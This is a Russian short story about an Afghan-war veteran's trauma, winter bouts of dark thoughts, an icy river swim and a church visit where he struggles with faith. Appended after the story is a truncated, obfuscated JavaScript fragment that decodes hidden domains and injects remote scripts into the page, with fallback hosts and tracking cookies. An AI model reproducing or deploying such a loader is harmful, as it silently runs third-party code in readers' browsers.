ОТВОЕВАВШИЙ

   ОТВОЕВАВШИЙ

   Лёгкий январский морозец. Хрустящий, сверкающий белизной снег, от которого слезятся и слепнут глаза.  Белые  шапки, густо засеяли ветки, среди которых иногда увидишь засыпанный сверху снегом мелкий отросток, похожий на кончик  беличьего  хвоста. Чистый, свежий воздух. В такую погоду только на прогулку или прокачать километров пять бегом, чтобы отдышаться от застоявшегося комнатного воздуха, но Игорю Владимировичу не до этого.

- Сука, - со злостью и раздражением  говорит он, стоя возле окна и глядя на белоснежную равнину, расстилающуюся за домами.

    Она  кажется ему огромным белым, пушистым, узорчатым  платком, которые мать вязала в пору его детства из козьего пуха. Это хорошая картинка, вызывающая  у него воспоминания о родительском доме, но она быстро гаснет, так как что-то неведомое, пытаясь сломить волю Игоря Владимировича,  упорно пробивается в  его сознании к другому.

 - Посмотрим, кто кого? – бросает Игорь Владимирович, накачивая матерными словами ещё больше злости,  которыми он обкладывает себя

   Он не любитель материться беспричинно, но сегодня причина имеется. Игорь Владимирович вспоминает, когда СССР вывел войска с Афганистана. Нервное напряжение на войне отбивало болезни, потому что мысль «жить» загоняла все остальные в уголок, из которого, как он надеялся, они должны были выплеснуться после окончания афганской бойни  чистой жизнью. Но когда он вошёл в мирную жизнь к нему начали цепляться, словно репейники болезни, и сколько он не пытался отряхнуться от них, обламывалась только мелочь, а оглушённое кровью  сознание никак не могло выпутаться. Оно стало даже набирать силу, высасывая её из  воспоминаний о каменистом и упрямом  Афганистане.

   Зимой у него начинаются приступы. В сознание накатываются чёрные мысли, подавляя светлые, которые держатся, как бы на кончике иглы. Наваливающаяся от боли  темень проглатывает их, доводя до края, с которого он  не раз пытался шагнуть. Удерживала злая мысль: среди автоматных очередей  выжил, а за хлебно-водочным столом в доме спёкся.

   Воображение, которое всегда рисовало  ему в окопные минуты затишья мирную и спокойную жизнь, во время приступа  начинает свою игру,  выжигая надежду в душе, и создаёт впечатление, что в сознание словно зашвырнули гранату. Она подскакивает, крутится, поблёскивая  ребристыми боками. Сейчас  рванёт, разлетится на осколки и  нашпигует его от пят до макушки железом, выбив всё живое. Он старается оторваться от этой картинки, чтобы сознание не вцепилось  в отяжелевшие  мысли и не стало их раскручивать, вплетая душу в них, как в паутину.

   Жена, зная такие его состояния, всегда говорит ему, что он не должен  думать о тёмных мыслях и тогда душа  очистится.

- Это как бы теория струн, - хмыкая, отвечает он, -  выскрести ля минор из души  и перейти на ля мажор. Душа не гитара, на которой, переставляя пальцы, можно менять аккорды.

   Игорь Владимирович петляет по комнате,  глядя на диван, который магнитит его, и у него возникает  ощущение,  будто он попал в его поле притяжения. Ему хочется прилечь и укрыться, как в детстве с головой под одеялом, но он считает, что от навязчивых и тупорылых мыслей нужно не убегать, а биться. Это не такая война, как в Афганистане,  но война, бескровная и жестокая, потому что она внутри его, через прицел автомата  её не увидишь и пулей не отшибёшь.

    За долгие годы болезни ему удалось, как во время приступов, хотя бы на короткое время, выползать из таких состояний. Он подходит к холодильнику, достаёт чекушку со ста граммами чистого медицинского спирта, шмат  поперчённого  сала, с хлебницы кусок чёрного хлеба и посыпает его мелкой солью

   В шапке, валенках, полушубке с махровым полотенцем в целлофановом пакете он идёт к речке, чтобы окунуться. Сознание противится, но он буквально вбивает в него мысль о купании, и она  тащит его к бугру, у подножья которого пробегает ещё не схваченная морозом речка.

   Он должен, обязан дойти и постоянно дорогой стремится не отпускать эту мысль, чтобы не поддаться другим, которые стараются отогнать его  домой.

   Обтёршись снегом до красноты, он заходит в речку и начинает плавать. Тело, словно прошивают иголками.  Долго плавать нельзя. Сознание может схлопнуться от холода.

   Выскочив на берег, он принимается за махровое полотенце. Бежит тепло, кипит, бурлит кровь. Вдобавок сто грамм, кусок хлеба с нарезанным салом. Поплыло сознание. Стало отсекать тяжёлые мысли.

- Выйду на улицу, гляну на село, - поёт он, приплясывая босиком на снегу, - девки гуляют, и мне  весело.

   Отплясавшись и вволю напевшись, Игорь Владимирович смотрит на верхушку бугра. Наскакивает мелкая, посечённая  метель, но он чётко и ясно видит  гигантский, отливающий солнечным светом крест, словно подпирающий  безоблачное небо. Сверкают купола. Звенят то громоподобно, то разливаются колокольчиком.

- Здоровье поправляем, - слышит он  хрипящий голос, словно попавший в верёвочную удавку.

   Обернувшись, он выхватывает глазами из нарастающей метели мужика, который,  поставив стакан дыбом,  вылизывал из него оставшиеся капли спирта. Мужик с испитым, опухшим  лицом, осаженными вглубь глазами, и подсевшей фигурой напоминает ему Николая Черкасова, которого он  после Афганистана  давно  не видел, но слышал от ребят, что тот якобы костыляет по пригородным электричкам с гитарой.

   Игорь Владимирович поднимается на бугор. В молодости он забегал на него, а сейчас подсел, остался только размашистый, не изломанный  армейский шаг, но и его пытается добить болезнь. Железные ворота открыты, он  заходит в церковь и садится на лавку. Его не поражает её внутренняя красота с позолотой, иконами, горящими свечами. Это внешний мир, который доступен его глазам, и из  которого он вышел после  окончанием войны. Игорь Владимирович видит, как прихожане становятся на колени, молятся, кланяются, шепчут, целуют иконы.

Он может так сделать. Это не трудно, но что Игорь Владимирович не в состоянии сделать, он знает это и знает почему, так  это вобрать их дух сердца и дух их мыслей в своё сердце и в свои мысли.

   Примерно полчаса он сидит с закрытыми глазами, шепчет «Отче наш...», но слова молитвы, как бы проскакивают мимо его души и не откликаются в ней. Сознание и чувства, словно заледенели, его начинает бить крупная дрожь. Он перестаёт молиться и думает о том, что витающую в церкви веру ему уже своей волей не поднять. Не потому, что его волю порядком  обдёргала война, а потому что воспоминания не дадут.

   А может ли, думает он, этот дух прийти свыше от того, которого называют Творцом? Сколько раз он говорил и убеждал себя не думать о Творце, но каждый раз непонятная сила срывала его и заставляла думать. Его голову пробивает острая боль, и  перед ним вспыхивает яркий, жгучий, словно выпаливающий глаза свет, в котором он видит распарывающий пропахший порохом и кровью воздух чёрный фонтан с огромными и мелкими комьями земли, камнями, а среди них барахтающееся человеческое тело, разваливающееся на части: руки, ноги, голова. Они будто куски мяса шлёпаются на землю, а некоторые, подхваченные взрывными волнами, непрерывно налетающими со всех сторон, обрушиваются на опрокинутый горящий бронетранспортёр с раскалённой бронёй и поджариваются на ней. Всё человеческое -  только безмолвное и беспомощное.

   Игорь Владимирович даже чувствует запах и, стиснув ладонью левой руки глаза, качает головой.  Он  не верит в доброту Творца и, когда  видит эту картинку, в его памяти прокручиваются  слова   Христа сказанные им на кресте распинавшим Его: «Господи! Прости их. Они не ведают, что творят».  

- Страшно поднять слово против Господа, - говорила ему в детстве его тётка. – Не делай этого никогда, племянник, как бы худо тебе не было.

   Игорь Владимирович не поднимал бы своё слово, но когда в его памяти вспыхивает пылающий бронетранспортёр, он не выдерживает и хочет крикнуть: «Господи! Ты безумствуешь! Ты не ведаешь, что творишь с людьми!», но  он сдерживает себя, так как знает, что криком своим он может изменить только одно: дать повод считать его бесноватым.

   Он смотрит на колыхающееся пламя свечей, как они гаснут, уходя в темень, но входящие прихожане покупают в храмовой лавке новые и ставят их на место отгоревших, и церковь не скудеет на свет.

   Мысли о Творце раскалывают его сознание на две части, и он никак не может понять: существует ли Он или он просто  вера? С раздвоенными мыслями Игорь Владимирович  выходит из церкви. По дороге домой он думает, что главное  для него сейчас заключается не в поисках правды и обмана, которые смешиваясь, меняясь местами, доводят его сознание  до изнеможения, а в том, чтобы не потерять  дух веры в себя, так как с его потерей будет всё кончено. Он обломается и своими обломками накроет и жену, и внучку, и....

- Ни хрена подобного, - выдавливает он, вышагивая по тротуарной дорожке, словно на параде. - Выйду на улицу, гляну на село, а сёл у нас много и пока не объезжу все - под сосновую доску не лягу.

   Он понимает, что никуда ни уйдёт, ни уедет, ни убежит. И то, что он видит, чем дышит сейчас – это последнее в его жизни, которое, как бы ему не хотелось, придётся оставить. И пойдёт он не своими ногами, а его отвезут.  Дай Бог, чтобы божья повозка подольше задержалась. Он останавливается, поворачивается к церкви, крестится и надеется, не обращая внимания на прохожих, которым, впрочем, нет никакого дела до него.

- А болезнь не затащит, - продолжает он. - Она же, как и человек -  пожить тоже хочет, а концы отдавать не любит, ей бы только мучить человека. А такую хрень  мы научились переносить.

   В квартире, когда  Игорь Владимирович начинает передвигать мебель, чтобы создать новую картинку интерьера, драит полы, чтобы они блестели, как пот на его лбу,  его расколотое сознание склеивается. Он становится  человеком при делах, у которого нет ни охоты, ни времени залазить на диван и скрываться с головой под одеялом...

<script type="text/javascript">// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "maxpark.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>